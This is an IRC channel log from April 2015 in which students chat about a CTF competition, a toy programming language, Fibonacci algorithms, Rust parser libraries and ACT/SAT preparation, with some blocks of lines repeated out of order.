[2015-04-06T21:09:15-0400] <hardmath123> option, then I will buy you a plate of shrimp.
[2015-04-06T21:09:17-0400] <hardmath123> At the end of this work, the author of ADsafe bought the first two authors all seven shrimp dishes available at a restaurant. (The third author is vegetarian, illustrating the dangers of poorly-designed incentive systems.)
[2015-04-06T21:09:19-0400] <hardmath123> "
[2015-04-06T21:09:24-0400] <hardmath123> awe: I like this paper.
[2015-04-06T21:09:42-0400] <JacobEdelman> lol
[2015-04-06T21:09:58-0400] <JacobEdelman> I clearly need to read the whole thing
[2015-04-06T21:10:00-0400] <JacobEdelman> now lol
[2015-04-06T21:10:04-0400] <JacobEdelman> *gtg
[2015-04-06T21:10:11-0400] <JacobEdelman> gtg, lol, same thing
[2015-04-06T21:14:13-0400] <alokpathy> hardmath123: Ay you're back :D
[2015-04-06T21:14:17-0400] <fwilson> *ayy
[2015-04-06T21:14:35-0400] <alokpathy> fwilson: Fine :P
[2015-04-06T21:25:34-0400] <sdamashek> *lmao
[2015-04-06T22:49:43-0400] <+awe> hardmath123: That's the professor I'm working with. :)
[2015-04-06T22:50:39-0400] <hardmath123> you're in good hands then
[2015-04-06T22:51:27-0400] <+awe> I have the choice of working on that, a programming language for packet data processing, or a tool to formally verify that Puppet scripts have a stable final state.
[2015-04-06T22:51:32-0400] <+awe> I'm probably going to do the last one.
[2015-04-06T22:55:45-0400] <hardmath123> I would have picked the JS stuff.
[2015-04-06T22:57:31-0400] <LittleBobbyTables> You should learn Chef.
[2015-04-06T23:04:20-0400] <+awe> hardmath123: The JS stuff is interesting, but it's fundamentally similar to the Puppet stuff, and the Puppet stuff is kind of just starting.
[2015-04-06T23:04:48-0400] <+awe> hardmath123: So, I'd rather get in on the first paper for this Puppet project and maybe continue next summer and get another paper out of it than jump on toward the end of a project.
[2015-04-06T23:05:09-0400] <+awe> hardmath123: The part of the JS stuff that would interest me most is the design of Lambda JS and that's already mostly done.
[2015-04-07T00:10:11-0400] <LittleBobbyTables> Education ‐ This network is a place of learning, and aims to encourage it when possible.
[2015-04-07T00:10:13-0400] <LittleBobbyTables> oops
[2015-04-07T00:10:28-0400] <LittleBobbyTables> http://i.imgur.com/XcWM0Nq.gif
[2015-04-07T00:42:40-0400] <assface> >tfw you have fucktons of homework to do but you don't wanna
[2015-04-07T09:39:35-0400] <JacobEdelman> gmorning all
[2015-04-07T10:25:32-0400] <Hyper> JacobEdelman: g'mornin'
[2015-04-07T10:29:34-0400] <JacobEdelman> Hyper: read trig
[2015-04-07T10:29:48-0400] <JacobEdelman> https://twigserial.wordpress.com/2014/12/24/taking-root-1-1/
[2015-04-07T10:30:01-0400] <JacobEdelman> it starts off good and gets great... and then keeps getting better
[2015-04-07T10:30:05-0400] <JacobEdelman> and its only 11 chapters in
[2015-04-07T10:30:47-0400] <Hyper> JacobEdelman: huh?
[2015-04-07T10:30:55-0400] <Hyper> I took trig a long time ago, yo
[2015-04-07T10:40:42-0400] <LittleBobbyTables> hey JacobEdelman 
[2015-04-07T10:44:42-0400] <JacobEdelman> Hyper: twig
[2015-04-07T10:44:43-0400] <JacobEdelman> oops
[2015-04-07T10:44:45-0400] <JacobEdelman> LittleBobbyTables: hello
[2015-04-07T10:45:10-0400] <LittleBobbyTables> Did you know when crows are hunting in the street, they have other crows on lookout for oncoming traffic?
[2015-04-07T10:45:22-0400] <Hyper> JacobEdelman: what's twig?
[2015-04-07T10:45:32-0400] <LittleBobbyTables> The crows on lookout warn the other crows, but sadly they're unable to yell truck
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[2015-04-07T13:05:42-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-07T10:45:22-0400] <Hyper> JacobEdelman: what's twig?
[2015-04-07T10:45:32-0400] <LittleBobbyTables> The crows on lookout warn the other crows, but sadly they're unable to yell truck
[2015-04-07T11:30:38-0400] <JacobEdelman> Hyper: look at the link, go to the about page
[2015-04-07T11:30:45-0400] <JacobEdelman>  https://twigserial.wordpress.com/2014/12/24/taking-root-1-1/
[2015-04-07T11:30:55-0400] <JacobEdelman> LittleBobbyTables: wait...
[2015-04-07T11:31:07-0400] <JacobEdelman> WHO ARE YOU AND WHAT HAVE YOU DONE WITH LBT!?!
[2015-04-07T11:31:15-0400] <JacobEdelman> that strange animal fact had no sexual connotations
[2015-04-07T11:31:19-0400] <JacobEdelman> something is wrong in the universe
[2015-04-07T11:31:39-0400] <Hyper> JacobEdelman: ugh I need to have time to do that x.x
[2015-04-07T11:31:49-0400] <Hyper> it's on my list of things to do
[2015-04-07T11:32:03-0400] <JacobEdelman> Hyper: https://twigserial.wordpress.com/about/
[2015-04-07T11:32:09-0400] <JacobEdelman> there I clicked about for you
[2015-04-07T11:32:39-0400] <JacobEdelman> be happy I'm not reccomending you read worm, the authors earlier online novel, its also amazing but its currentely finished and is the length of ~30 novels
[2015-04-07T11:50:58-0400] <Hyper> JacobEdelman: uggggh
[2015-04-07T12:29:54-0400] <JacobEdelman> Tamini_: good [whatever weird backwards time of day it is there]!
[2015-04-07T12:30:02-0400] <JacobEdelman> hows the CTF going?
[2015-04-07T12:30:11-0400] <alokpathy> JacobEdelman: It's going well
[2015-04-07T12:30:22-0400] <JacobEdelman> alokpathy: how are you doing?
[2015-04-07T12:30:26-0400] <JacobEdelman> how are the problems?
[2015-04-07T12:30:29-0400] <JacobEdelman> how is the food?
[2015-04-07T12:30:36-0400] <alokpathy> JacobEdelman: We're all tied for 2nd or 3rd
[2015-04-07T12:30:45-0400] <alokpathy> JacobEdelman: The problems are pretty good.
[2015-04-07T12:30:59-0400] <JacobEdelman> wait, everybody in the comeptition is?
[2015-04-07T12:31:18-0400] <JacobEdelman> *is tied for 2nd and 3rd
[2015-04-07T12:31:22-0400] <alokpathy> JacobEdelman: No, just us.
[2015-04-07T12:31:29-0400] <JacobEdelman> oh, the pdgnites?
[2015-04-07T12:31:30-0400] <alokpathy> This one Russian kid is reking.
[2015-04-07T12:31:46-0400] <alokpathy> Yeah, the pdgnites.
[2015-04-07T12:31:48-0400] <JacobEdelman> ah, 
[2015-04-07T12:31:57-0400] <JacobEdelman> how long is it?
[2015-04-07T12:32:01-0400] <JacobEdelman> when does it end/start
[2015-04-07T12:32:06-0400] <JacobEdelman> (in est or hours from now)
[2015-04-07T12:32:24-0400] <alokpathy> JacobEdelman: We still have a few hours.
[2015-04-07T12:32:34-0400] <alokpathy> Um
[2015-04-07T12:32:37-0400] <alokpathy> 3.5
[2015-04-07T12:32:49-0400] <alokpathy> Very early morning lol.
[2015-04-07T12:45:45-0400] <JacobEdelman> ah, okay
[2015-04-07T12:45:48-0400] <JacobEdelman> good luck
[2015-04-07T12:45:50-0400] <JacobEdelman> also, don't die
[2015-04-07T12:46:31-0400] <alokpathy> JacobEdelman: It's too late.
[2015-04-07T12:46:35-0400] <alokpathy> JacobEdelman: kenzierocks is no more.
[2015-04-07T12:46:42-0400] <JacobEdelman> ahhh, okay
[2015-04-07T12:46:55-0400] • kenzierocks: D34D
[2015-04-07T12:47:02-0400] <JacobEdelman> alokpathy: I'm working on lark
[2015-04-07T12:47:04-0400] <JacobEdelman> currentely
[2015-04-07T12:47:13-0400] <JacobEdelman> 4*3 executes to 4*(9-1)+4
[2015-04-07T12:47:17-0400] <JacobEdelman> (after 3 steps)
[2015-04-07T12:47:27-0400] <alokpathy> Well okay then xD
[2015-04-07T12:47:28-0400] <JacobEdelman> (darn you order of operations!)
[2015-04-07T12:47:38-0400] <JacobEdelman> actually, thats the only problem as of now, order of operations
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[2015-04-07T10:45:22-0400] <Hyper> JacobEdelman: what's twig?
[2015-04-07T10:45:32-0400] <LittleBobbyTables> The crows on lookout warn the other crows, but sadly they're unable to yell truck
[2015-04-07T11:30:38-0400] <JacobEdelman> Hyper: look at the link, go to the about page
[2015-04-07T11:30:45-0400] <JacobEdelman>  https://twigserial.wordpress.com/2014/12/24/taking-root-1-1/
[2015-04-07T11:30:55-0400] <JacobEdelman> LittleBobbyTables: wait...
[2015-04-07T11:31:07-0400] <JacobEdelman> WHO ARE YOU AND WHAT HAVE YOU DONE WITH LBT!?!
[2015-04-07T11:31:15-0400] <JacobEdelman> that strange animal fact had no sexual connotations
[2015-04-07T11:31:19-0400] <JacobEdelman> something is wrong in the universe
[2015-04-07T11:31:39-0400] <Hyper> JacobEdelman: ugh I need to have time to do that x.x
[2015-04-07T11:31:49-0400] <Hyper> it's on my list of things to do
[2015-04-07T11:32:03-0400] <JacobEdelman> Hyper: https://twigserial.wordpress.com/about/
[2015-04-07T11:32:09-0400] <JacobEdelman> there I clicked about for you
[2015-04-07T11:32:39-0400] <JacobEdelman> be happy I'm not reccomending you read worm, the authors earlier online novel, its also amazing but its currentely finished and is the length of ~30 novels
[2015-04-07T11:50:58-0400] <Hyper> JacobEdelman: uggggh
[2015-04-07T12:29:54-0400] <JacobEdelman> Tamini_: good [whatever weird backwards time of day it is there]!
[2015-04-07T12:30:02-0400] <JacobEdelman> hows the CTF going?
[2015-04-07T12:30:11-0400] <alokpathy> JacobEdelman: It's going well
[2015-04-07T12:30:22-0400] <JacobEdelman> alokpathy: how are you doing?
[2015-04-07T12:30:26-0400] <JacobEdelman> how are the problems?
[2015-04-07T12:30:29-0400] <JacobEdelman> how is the food?
[2015-04-07T12:30:36-0400] <alokpathy> JacobEdelman: We're all tied for 2nd or 3rd
[2015-04-07T12:30:45-0400] <alokpathy> JacobEdelman: The problems are pretty good.
[2015-04-07T12:30:59-0400] <JacobEdelman> wait, everybody in the comeptition is?
[2015-04-07T12:31:18-0400] <JacobEdelman> *is tied for 2nd and 3rd
[2015-04-07T12:31:22-0400] <alokpathy> JacobEdelman: No, just us.
[2015-04-07T12:31:29-0400] <JacobEdelman> oh, the pdgnites?
[2015-04-07T12:31:30-0400] <alokpathy> This one Russian kid is reking.
[2015-04-07T12:31:46-0400] <alokpathy> Yeah, the pdgnites.
[2015-04-07T12:31:48-0400] <JacobEdelman> ah, 
[2015-04-07T12:31:57-0400] <JacobEdelman> how long is it?
[2015-04-07T12:32:01-0400] <JacobEdelman> when does it end/start
[2015-04-07T12:32:06-0400] <JacobEdelman> (in est or hours from now)
[2015-04-07T12:32:24-0400] <alokpathy> JacobEdelman: We still have a few hours.
[2015-04-07T12:32:34-0400] <alokpathy> Um
[2015-04-07T12:32:37-0400] <alokpathy> 3.5
[2015-04-07T12:32:49-0400] <alokpathy> Very early morning lol.
[2015-04-07T12:45:45-0400] <JacobEdelman> ah, okay
[2015-04-07T12:45:48-0400] <JacobEdelman> good luck
[2015-04-07T12:45:50-0400] <JacobEdelman> also, don't die
[2015-04-07T12:46:31-0400] <alokpathy> JacobEdelman: It's too late.
[2015-04-07T12:46:35-0400] <alokpathy> JacobEdelman: kenzierocks is no more.
[2015-04-07T12:46:42-0400] <JacobEdelman> ahhh, okay
[2015-04-07T12:46:55-0400] • kenzierocks: D34D
[2015-04-07T12:47:02-0400] <JacobEdelman> alokpathy: I'm working on lark
[2015-04-07T12:47:04-0400] <JacobEdelman> currentely
[2015-04-07T12:47:13-0400] <JacobEdelman> 4*3 executes to 4*(9-1)+4
[2015-04-07T12:47:17-0400] <JacobEdelman> (after 3 steps)
[2015-04-07T12:47:27-0400] <alokpathy> Well okay then xD
[2015-04-07T12:47:28-0400] <JacobEdelman> (darn you order of operations!)
[2015-04-07T12:47:38-0400] <JacobEdelman> actually, thats the only problem as of now, order of operations
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[2015-04-07T14:30:43-0400] <+awe> Ah, man. The guy at to-go meals today was awesome.
[2015-04-07T14:30:47-0400] <+awe> He gave me a ton of everything.
[2015-04-07T14:35:10-0400] <kenzierocks> s/ah/awe/
[2015-04-07T14:35:24-0400] <+awe> That's the wrong spelling of aww.
[2015-04-07T14:35:43-0400] <kenzierocks> let aww=awe
[2015-04-07T14:36:10-0400] <+awe> I think you mean it the other way around.
[2015-04-07T14:36:36-0400] <+awe> Otherwise, aww is defined as being me.
[2015-04-07T14:38:31-0400] <JacobEdelman> WOOOOOOO
[2015-04-07T14:38:35-0400] <JacobEdelman> lark is working
[2015-04-07T14:38:41-0400] <JacobEdelman> awe: ha!
[2015-04-07T14:38:46-0400] <JacobEdelman> order of operations now exists
[2015-04-07T14:38:51-0400] <+awe> Oh my.
[2015-04-07T14:38:53-0400] <JacobEdelman> now to test fibonacci
[2015-04-07T14:38:58-0400] <JacobEdelman> (again)
[2015-04-07T14:39:09-0400] <JacobEdelman> (last fib test took several seconds to compute fib(3))
[2015-04-07T14:39:25-0400] <+awe> Ahahaha.
[2015-04-07T14:39:45-0400] <+awe> JacobEdelman: I'm pretty sure I can compute fib(1,000,000) faster than that.
[2015-04-07T14:40:55-0400] <+awe> 0.83 secs for fib(1,000,000) in Haskell.
[2015-04-07T14:41:07-0400] <+awe> This is in an interpreter, too.
[2015-04-07T14:41:19-0400] <+awe> And it includes the time it takes to actually print such a large number.
[2015-04-07T14:53:03-0400] <+awe> Fill: your config project is interesting. I'm interested in a potentially similar task: Rust Object Notation (or maybe Rust Structured Object Notation) (rson). 
[2015-04-07T14:53:59-0400] <JacobEdelman> yeah! fib works!
[2015-04-07T14:54:12-0400] <+awe> Fill: it'd be useful for configurations as well as for serializing data. My inspiration was when I couldn't make an intelligent simplification to my markov library because of json serialization.
[2015-04-07T14:54:17-0400] <+awe> JacobEdelman: how slow?
[2015-04-07T14:54:19-0400] <JacobEdelman> awe: this is a sloppy prototype so that I can show people what I mean when I say mutable syntax is the entire language
[2015-04-07T14:54:36-0400] <JacobEdelman> so speed is thrown out the window
[2015-04-07T14:54:46-0400] <JacobEdelman> awe: i was using the exponential fib algo
[2015-04-07T14:54:47-0400] <JacobEdelman> so
[2015-04-07T14:54:54-0400] <+awe> Oh, okay.
[2015-04-07T14:55:05-0400] <+awe> I figured you were using the normal sane algo.
[2015-04-07T14:55:21-0400] <JacobEdelman> 2 seconds for fib(12)
[2015-04-07T14:55:33-0400] <+awe> So, even that wouldn't really compare to my O(log n) algo
[2015-04-07T14:56:20-0400] <JacobEdelman> well, imagine it like this
[2015-04-07T14:56:30-0400] <JacobEdelman> instead of manipulating an ast (a tree) I'm manipulating strings
[2015-04-07T14:56:32-0400] <+awe> JacobEdelman: fib(12) with the exponential algo is still under a hundredth of a second.
[2015-04-07T14:56:34-0400] <JacobEdelman> now imagine how dumb that is
[2015-04-07T14:56:49-0400] <+awe> fib(30) with exponential algo is ~2s.
[2015-04-07T14:56:55-0400] <JacobEdelman> instead of doing an intelligent parsing algorthim I'm trying parsings until one works
[2015-04-07T14:57:01-0400] <JacobEdelman> it is monumentally dumb
[2015-04-07T14:57:16-0400] <JacobEdelman> yeah, I'd expect at least that
[2015-04-07T14:57:18-0400] <+awe> Sounds like you.
[2015-04-07T14:57:29-0400] <JacobEdelman> its a refrence implementation
[2015-04-07T14:57:54-0400] <+awe> Reference implementations are supposed to be _good_.
[2015-04-07T14:58:04-0400] <+awe> It's not a reference implementation. It's yet another prototype.
[2015-04-07T14:58:27-0400] <JacobEdelman> anyway, that means my implementation is only slower by x6000
[2015-04-07T14:58:33-0400] <JacobEdelman> so, not as bad as I would have expected
[2015-04-07T14:58:58-0400] <+awe> That's absolutely horrible.
[2015-04-07T15:02:39-0400] <JacobEdelman> nah
[2015-04-07T15:02:54-0400] <JacobEdelman> considering the language implementation is built off of string manipulation right now
[2015-04-07T15:03:01-0400] <JacobEdelman> its way better than I expected
[2015-04-07T15:15:48-0400] <fwilson> :D
[2015-04-07T15:16:14-0400] <fwilson> awe: you should use my O(1) fibonacci algorithm
[2015-04-07T15:16:44-0400] <fwilson> http://www.maths.surrey.ac.uk/hosted-sites/R.Knott/Fibonacci/fibFormula.html
[2015-04-07T15:17:08-0400] <+awe> Binet's Formula is kind of uhh... eh.
[2015-04-07T15:17:33-0400] <+awe> It's only faster if you're using fixed precision floating points.
[2015-04-07T15:17:44-0400] <+awe> But that's not useful for calculating something like fib(1,000,000) anyway.
[2015-04-07T15:19:05-0400] <fwilson> yeah lol
[2015-04-07T15:19:11-0400] <fwilson> but it *is* O(1)
[2015-04-07T15:19:22-0400] <fwilson> technically
[2015-04-07T15:19:51-0400] <+awe> Yeah.
[2015-04-07T15:19:57-0400] <+awe> But this is why I care about constant factors. :p
[2015-04-07T15:21:40-0400] <Fill> awe: oh hey there
[2015-04-07T15:22:14-0400] <Fill> I've been working on rust-config for something like 2 weeks, it's still very rudimentary. I figured it could be useful since I couldn't find a library to read conf files
[2015-04-07T15:22:40-0400] <Fill> and I'm needing one 
[2015-04-07T15:24:35-0400] <Fill> your idea sounds appealing too. Is this something you'd incorporate in the same library, or would you rather have it separate?
[2015-04-07T15:24:48-0400] <+awe> I was thinking it'd probably a library called rson.
[2015-04-07T15:25:04-0400] <+awe> I just thought it was funny because it looked somewhat similar.
[2015-04-07T15:25:28-0400] <fwilson> have you tried doge serialized object notation
[2015-04-07T15:25:45-0400] <+awe> Oh my.
[2015-04-07T15:27:19-0400] <+awe> Fill: also, you should look at this: https://github.com/Geal/nom
[2015-04-07T15:28:46-0400] <Fill> hah
[2015-04-07T15:28:52-0400] <Fill> Hmmmmm
[2015-04-07T15:29:40-0400] <Fill> that's cool
[2015-04-07T15:29:45-0400] <+awe> It looks like we finally have good parser combinators. ;p
[2015-04-07T15:30:03-0400] <Fill> at the moment I'm using rust-peg to generate the parser
[2015-04-07T15:32:06-0400] <+awe> Yeah, I saw that.
[2015-04-07T15:32:13-0400] <+awe> I don't know how the two compare.
[2015-04-07T15:32:20-0400] <+awe> Performance-wise, anyway.
[2015-04-07T15:33:32-0400] <+awe> Fill: nom is much, much closer to being accessible on the beta though.
[2015-04-07T15:33:37-0400] <Fill> I'll give it a try when I have the chance
[2015-04-07T15:33:41-0400] <Fill> is it? why?
[2015-04-07T15:33:57-0400] <+awe> There's only one feature being used and it's for a push_all to a vec.
[2015-04-07T15:34:10-0400] <+awe> Whereas peg is heavily reliant on a lot of things behind feature gates.
[2015-04-07T15:34:19-0400] <Fill> hmmm
[2015-04-07T15:34:31-0400] <+awe> There's even a PR out on nom right now that will allow it to compile on the beta.
[2015-04-07T15:35:25-0400] <Fill> awe: by the way, do you know if the feature rustc_private will make it to the beta?
[2015-04-07T15:35:38-0400] <Fill> I'm guessing it won't?
[2015-04-07T15:36:04-0400] <+awe> What does it do?
[2015-04-07T15:37:09-0400] <Fill> gives you access to internal compiler stuff. E.g. I need it to call str_lit(), for example. str_lit is an internal function that parses strings with escape sequences
[2015-04-07T15:37:22-0400] <Fill> so, it turns "hello\n" into "hello" with the newline character
[2015-04-07T15:37:26-0400] <Fill> I use it inside the parser
[2015-04-07T15:37:28-0400] <JacobEdelman> do I need to educate people on big O again
[2015-04-07T15:37:34-0400] <JacobEdelman> this is addressed to awe and Fill
[2015-04-07T15:37:46-0400] <JacobEdelman> turing machines operate on integers
[2015-04-07T15:37:51-0400] <Fill> ?
[2015-04-07T15:37:56-0400] <+awe> Fill: ignore him.
[2015-04-07T15:38:00-0400] <Fill> lol
[2015-04-07T15:38:00-0400] <JacobEdelman> or sets that have countable number of elements
[2015-04-07T15:38:06-0400] <JacobEdelman> the fib algo you mentioned
[2015-04-07T15:38:15-0400] <JacobEdelman> is not applicable to turing machines
[2015-04-07T15:38:23-0400] <JacobEdelman> since real numbers require infinite precision
[2015-04-07T15:38:32-0400] columba.pdgn.co kicked JacobEdelman from the channel (calm down.)
[2015-04-07T15:38:39-0400] <Fill> bahhahaha
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[2015-04-07T15:38:43-0400] <Fill> poor Jacob :P
[2015-04-07T15:38:44-0400] <JacobEdelman> such mistakes have lead to many claims including one a bit ago on P=NP
[2015-04-07T15:38:52-0400] <JacobEdelman> in conclusion
[2015-04-07T15:39:03-0400] <JacobEdelman> no real numbers
[2015-04-07T15:39:19-0400] <+awe> Fill: https://github.com/rust-lang/rust/issues/24028
[2015-04-07T15:39:21-0400] <JacobEdelman> and you can never beat O(the size of the output) since "printing" the output takes constant time for each unit
[2015-04-07T15:41:20-0400] <+awe> JacobEdelman: except that not all things you calculate need to be printed.
[2015-04-07T15:42:18-0400] <Fill> hum, so I guess my project is not ready for beta ... yet
[2015-04-07T15:42:21-0400] <+awe> JacobEdelman: And nobody wants to hear you of all people try to educate them on performance.
[2015-04-07T15:53:09-0400] <z3t> sup peoples
[2015-04-07T15:59:53-0400] <jwoglom> Sup z3t
[2015-04-07T16:28:46-0400] <z3t> Anyone have tips for the ACT :/
[2015-04-07T16:29:00-0400] <+awe> z3t: it's just like the SAT.
[2015-04-07T16:29:59-0400] <z3t> b-b-b-but the science section!
[2015-04-07T16:30:30-0400] <+awe> I told you already, it's just graph comprehension!
[2015-04-07T16:31:20-0400] <z3t> You think the reading is about the same as the SAT or different?
[2015-04-07T16:31:42-0400] <+awe> It didn't feel particularly different to me.
[2015-04-07T16:31:49-0400] <z3t> Well, shit.
[2015-04-07T16:32:07-0400] <z3t> I managed to get a 450 on reading :P
[2015-04-07T16:32:12-0400] <+awe> Wow.
[2015-04-07T16:32:25-0400] <z3t> Yeah.
[2015-04-07T16:32:32-0400] <z3t> I'm not very smart.
[2015-04-07T16:33:32-0400] <jwoglom> Bleh. I just decided to take the sat, maybe should have looked into the act
[2015-04-07T16:33:38-0400] <jwoglom> Too late now I suppose
[2015-04-07T16:33:58-0400] <+awe> I did both.
[2015-04-07T16:34:03-0400] <z3t> Definitely taking the SAT again in the Fall :/
[2015-04-07T16:34:07-0400] <+awe> And I sent both to every school.
[2015-04-07T16:34:13-0400] <+awe> I took them both in my junior year and then didn't take them again.
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[2015-04-07T16:57:06-0400] <z3t> I have a feeling picoctf shirts are never going to be shipped
[2015-04-07T16:58:43-0400] <kenzierocks> oh we talked to ppp
[2015-04-07T16:58:48-0400] <kenzierocks> they're being shipped soon
[2015-04-07T16:59:15-0400] <z3t> "soon"
[2015-04-07T16:59:24-0400] <z3t> They've been saying that since January
[2015-04-07T16:59:35-0400] <kenzierocks> but they say they actual have progress
[2015-04-07T16:59:38-0400] <kenzierocks> like, desinged 
[2015-04-07T17:04:09-0400] <z3t> I'll move my estimate from May 2016 to October 2015.
[2015-04-07T18:16:34-0400] <fwilson> z3t: probably about correct
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[2015-04-07T18:23:18-0400] <z3t> http://eprint.iacr.org/2015/310.pdf this is pretty interesting
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[2015-04-07T19:06:21-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-07T15:37:26-0400] <Fill> I use it inside the parser
[2015-04-07T15:37:28-0400] <JacobEdelman> do I need to educate people on big O again
[2015-04-07T15:37:34-0400] <JacobEdelman> this is addressed to awe and Fill
[2015-04-07T15:37:46-0400] <JacobEdelman> turing machines operate on integers
[2015-04-07T15:37:51-0400] <Fill> ?
[2015-04-07T15:37:56-0400] <+awe> Fill: ignore him.
[2015-04-07T15:38:00-0400] <Fill> lol
[2015-04-07T15:38:00-0400] <JacobEdelman> or sets that have countable number of elements
[2015-04-07T15:38:06-0400] <JacobEdelman> the fib algo you mentioned
[2015-04-07T15:38:15-0400] <JacobEdelman> is not applicable to turing machines
[2015-04-07T15:38:23-0400] <JacobEdelman> since real numbers require infinite precision
[2015-04-07T15:38:39-0400] <Fill> bahhahaha
[2015-04-07T15:38:43-0400] <Fill> poor Jacob :P
[2015-04-07T15:38:44-0400] <JacobEdelman> such mistakes have lead to many claims including one a bit ago on P=NP
[2015-04-07T15:38:52-0400] <JacobEdelman> in conclusion
[2015-04-07T15:39:03-0400] <JacobEdelman> no real numbers
[2015-04-07T15:39:19-0400] <+awe> Fill: https://github.com/rust-lang/rust/issues/24028
[2015-04-07T15:39:21-0400] <JacobEdelman> and you can never beat O(the size of the output) since "printing" the output takes constant time for each unit
[2015-04-07T15:41:20-0400] <+awe> JacobEdelman: except that not all things you calculate need to be printed.
[2015-04-07T15:42:18-0400] <Fill> hum, so I guess my project is not ready for beta ... yet
[2015-04-07T15:42:21-0400] <+awe> JacobEdelman: And nobody wants to hear you of all people try to educate them on performance.
[2015-04-07T15:53:09-0400] <z3t> sup peoples
[2015-04-07T15:59:53-0400] <jwoglom> Sup z3t
[2015-04-07T16:28:46-0400] <z3t> Anyone have tips for the ACT :/
[2015-04-07T16:29:00-0400] <+awe> z3t: it's just like the SAT.
[2015-04-07T16:29:59-0400] <z3t> b-b-b-but the science section!
[2015-04-07T16:30:30-0400] <+awe> I told you already, it's just graph comprehension!
[2015-04-07T16:31:20-0400] <z3t> You think the reading is about the same as the SAT or different?
[2015-04-07T16:31:42-0400] <+awe> It didn't feel particularly different to me.
[2015-04-07T16:31:49-0400] <z3t> Well, shit.
[2015-04-07T16:32:07-0400] <z3t> I managed to get a 450 on reading :P
[2015-04-07T16:32:12-0400] <+awe> Wow.
[2015-04-07T16:32:25-0400] <z3t> Yeah.
[2015-04-07T16:32:32-0400] <z3t> I'm not very smart.
[2015-04-07T16:33:32-0400] <jwoglom> Bleh. I just decided to take the sat, maybe should have looked into the act
[2015-04-07T16:33:38-0400] <jwoglom> Too late now I suppose
[2015-04-07T16:33:59-0400] <+awe> I did both.
[2015-04-07T16:34:03-0400] <z3t> Definitely taking the SAT again in the Fall :/
[2015-04-07T16:34:07-0400] <+awe> And I sent both to every school.
[2015-04-07T16:34:13-0400] <+awe> I took them both in my junior year and then didn't take them again.
[2015-04-07T16:57:06-0400] <z3t> I have a feeling picoctf shirts are never going to be shipped
[2015-04-07T16:58:43-0400] <kenzierocks> oh we talked to ppp
[2015-04-07T16:58:48-0400] <kenzierocks> they're being shipped soon
[2015-04-07T16:59:15-0400] <z3t> "soon"
[2015-04-07T16:59:24-0400] <z3t> They've been saying that since January
[2015-04-07T16:59:35-0400] <kenzierocks> but they say they actual have progress
[2015-04-07T16:59:38-0400] <kenzierocks> like, desinged 
[2015-04-07T17:04:09-0400] <z3t> I'll move my estimate from May 2016 to October 2015.
[2015-04-07T18:16:34-0400] <fwilson> z3t: probably about correct
[2015-04-07T18:23:18-0400] <z3t> http://eprint.iacr.org/2015/310.pdf this is pretty interesting
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[2015-04-07T19:31:40-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-07T15:37:26-0400] <Fill> I use it inside the parser
[2015-04-07T15:37:28-0400] <JacobEdelman> do I need to educate people on big O again
[2015-04-07T15:37:34-0400] <JacobEdelman> this is addressed to awe and Fill
[2015-04-07T15:37:46-0400] <JacobEdelman> turing machines operate on integers
[2015-04-07T15:37:51-0400] <Fill> ?
[2015-04-07T15:37:56-0400] <+awe> Fill: ignore him.
[2015-04-07T15:38:00-0400] <Fill> lol
[2015-04-07T15:38:00-0400] <JacobEdelman> or sets that have countable number of elements
[2015-04-07T15:38:06-0400] <JacobEdelman> the fib algo you mentioned
[2015-04-07T15:38:15-0400] <JacobEdelman> is not applicable to turing machines
[2015-04-07T15:38:23-0400] <JacobEdelman> since real numbers require infinite precision
[2015-04-07T15:38:39-0400] <Fill> bahhahaha
[2015-04-07T15:38:43-0400] <Fill> poor Jacob :P
[2015-04-07T15:38:44-0400] <JacobEdelman> such mistakes have lead to many claims including one a bit ago on P=NP
[2015-04-07T15:38:52-0400] <JacobEdelman> in conclusion
[2015-04-07T15:39:03-0400] <JacobEdelman> no real numbers
[2015-04-07T15:39:19-0400] <+awe> Fill: https://github.com/rust-lang/rust/issues/24028
[2015-04-07T15:39:21-0400] <JacobEdelman> and you can never beat O(the size of the output) since "printing" the output takes constant time for each unit
[2015-04-07T15:41:20-0400] <+awe> JacobEdelman: except that not all things you calculate need to be printed.
[2015-04-07T15:42:18-0400] <Fill> hum, so I guess my project is not ready for beta ... yet
[2015-04-07T15:42:21-0400] <+awe> JacobEdelman: And nobody wants to hear you of all people try to educate them on performance.
[2015-04-07T15:53:09-0400] <z3t> sup peoples
[2015-04-07T15:59:53-0400] <jwoglom> Sup z3t
[2015-04-07T16:28:46-0400] <z3t> Anyone have tips for the ACT :/
[2015-04-07T16:29:00-0400] <+awe> z3t: it's just like the SAT.
[2015-04-07T16:29:59-0400] <z3t> b-b-b-but the science section!
[2015-04-07T16:30:30-0400] <+awe> I told you already, it's just graph comprehension!
[2015-04-07T16:31:20-0400] <z3t> You think the reading is about the same as the SAT or different?
[2015-04-07T16:31:42-0400] <+awe> It didn't feel particularly different to me.
[2015-04-07T16:31:49-0400] <z3t> Well, shit.
[2015-04-07T16:32:07-0400] <z3t> I managed to get a 450 on reading :P
[2015-04-07T16:32:12-0400] <+awe> Wow.
[2015-04-07T16:32:25-0400] <z3t> Yeah.
[2015-04-07T16:32:32-0400] <z3t> I'm not very smart.
[2015-04-07T16:33:32-0400] <jwoglom> Bleh. I just decided to take the sat, maybe should have looked into the act
[2015-04-07T16:33:38-0400] <jwoglom> Too late now I suppose
[2015-04-07T16:33:59-0400] <+awe> I did both.
[2015-04-07T16:34:03-0400] <z3t> Definitely taking the SAT again in the Fall :/
[2015-04-07T16:34:07-0400] <+awe> And I sent both to every school.
[2015-04-07T16:34:13-0400] <+awe> I took them both in my junior year and then didn't take them again.
[2015-04-07T16:57:06-0400] <z3t> I have a feeling picoctf shirts are never going to be shipped
[2015-04-07T16:58:43-0400] <kenzierocks> oh we talked to ppp
[2015-04-07T16:58:48-0400] <kenzierocks> they're being shipped soon
[2015-04-07T16:59:15-0400] <z3t> "soon"
[2015-04-07T16:59:24-0400] <z3t> They've been saying that since January
[2015-04-07T16:59:35-0400] <kenzierocks> but they say they actual have progress
[2015-04-07T16:59:38-0400] <kenzierocks> like, desinged 
[2015-04-07T17:04:09-0400] <z3t> I'll move my estimate from May 2016 to October 2015.
[2015-04-07T18:16:34-0400] <fwilson> z3t: probably about correct
[2015-04-07T18:23:18-0400] <z3t> http://eprint.iacr.org/2015/310.pdf this is pretty interesting
[2015-04-07T19:31:43-0400] Mode is +nt
[2015-04-07T19:42:49-0400] <nickthename> jwoglom: SAT is fine
[2015-04-07T19:43:15-0400] <jwoglom> yeah i've already taken it once, just kind of never looked into the act
